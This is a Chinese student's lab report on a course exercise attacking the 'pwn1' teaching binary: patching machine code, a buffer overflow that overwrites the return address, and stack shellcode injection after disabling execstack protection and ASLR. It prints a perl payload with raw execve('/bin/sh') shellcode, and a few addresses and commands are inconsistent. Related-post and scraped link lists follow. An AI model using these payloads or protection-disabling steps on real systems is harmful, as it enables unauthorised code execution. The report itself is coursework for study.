实验一

目录


一、修改机器指令

  • 首先你需要一个pwn1文件,使用cp命令复制到当前目录下
  • 反汇编,objdump -d pwn1
  • 查看main函数,当前call调用的是foo函数,我们通过修改调用函数的地址使其指向getShell

  • 使用vi pwn1编辑当前文件,并使用:%!xxd将其ASCII码改为16进制显示
  • 使用/d7搜索并找到要修改的相应位置

  • 使用:%!xxd -r变回ASCII码,保存退出
  • 再次查看,修改成功
  • 执行当前pwn1,出现shell环境

二、BOF攻击

通过一段大于foo函数能存储长度的buffer造成缓冲区溢出,从而覆盖掉这个函数,直接执行shell函数

  • 通过代码分析缓冲区的字符串为32字节

  • gdb执行一下pwn2,r运行,输入一段40字节长度的数据
  • 发生段错误,分析后八字节是哪四字节溢出

  • 所以将输入的后字节改为\xd7\x84\x04\x08(shellcode的起始地址0x080484d7)
  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包含该字段的文件input(Perl -e:用于在命令行执行 Perl 命令)
  • 可以使用xxd input查看文件内容
  • 然后将input的输入,通过管道符|,作为pwn2的输入,覆盖返回地址:(cat input; cat) | ./input
  • 可以执行shell函数

三、注入Shellcode

shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击

  • 首先要设置堆栈可执行:
execstack -s pwn3    //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否关闭

0代表关闭,2代表开启

  • 采用老师提供的shellcode,输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 将写好的代码通过管道方式输入给程序中的foo函数进行覆盖 (cat input_shellcode;cat) | ./pwn2
  • 打开另外一个终端,用gdb来调试pwn2这个进程,要找到程序的进程号ps -ef | grep pwn2
  • 启动gdb调试这个程序,然后attach进程号
  • disassemble foo反编译,设置断点在返回地址处b *0x080484ae,继续运行c
  • 命中以后查看esp,esp后4个字节就是我们要找的返回值

    0xffffd34c+0x00000004 = 0xffffd350
  • 修改shellcode,重新执行
  • 成功

四、问题及解决

Q: 在Terminal利用./pwn1执行pwn1会出现没有那个文件或目录的提示,但是ls命令又能看到存在pwn1文件.
S: 64位的kali运行不了,装一个32位的库解决,也可以通过更新源解决,我输入了如下指令:apt-get install lib32z1

五、思考感悟

本次实验介绍了三种攻击方式,都是通过地址的修改来达到攻击目的,第二个实验要求的分析性更强一些,需要看出缓冲区buffer的长度来写出能覆盖至其返回地址后找到shellcode的的字符串。第三个任务是通过找到当前进程的esp,修改shellcode。w我觉得这次的实验思路还是挺简单的,巩固了之前的知识,拓宽了网络攻击的思路,很有意思。

2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165326的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. loadrunner中使用web_custom_request函数调用webservice接口

    1.使用的接口地址: http://www.webxml.com.cn/WebServices/WeatherWebService.asmx?op=getWeatherbyCityName 以SOAP ...

  2. vue eventBus使用

    类似于iframe之间的possMessage方式传参 1.eventBus.js文件 //用于兄弟组件通信 import Vue from 'vue'; export default new Vue ...

  3. Android中控件之间添加分割线

    将以下view标签放置在需要分割的两个控件之间: <View android:layout_width=”match_parent” android:layout_height=”1dp” an ...

  4. 微信里iphone后退不刷新问题解决方案

    $(function() { pushHistory(); }); function pushHistory() { window.addEventListener("popstate&qu ...

  5. Chromedriver executable needs to be in path 解决办法

    执行webdriver.Chrome()时报错:Chromedriver executable needs to be in path. 原因可能是为有安装Chromedriver 可能是Chrome ...

  6. 详解Linux下swig 3.0.12的手动安装过程

    详解Linux下swig 3.0.12的手动安装过程 首先 从http://www.linuxfromscratch.org/blfs/view/cvs/general/swig.html上下载swi ...

  7. learning mqtt protocol

    reference: http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html

  8. js 调用后台,后台调用js

    <html xmlns="http://www.w3.org/1999/xhtml"><head id="Head1" runat=" ...

  9. C#或unity中实现正弦函数

    C#或unity中实现正弦函数 本类用于第一,需要绘制一条正弦曲线的朋友:第二,需要根据正弦曲线控制物体运动的朋友:里面都有注释,代码如下: unity中使用的代码: public class Cur ...

  10. html页面禁止用户右键粘贴复制保存的代码

    HTML页面禁止选择.页面禁止复制.页面禁止右键 原创古城寨主2018-03-01 17:50:59评论(1)228人阅读   HTML页面内容禁止选择.复制.右键 刚在一个看一个站点的源代码的的时候 ...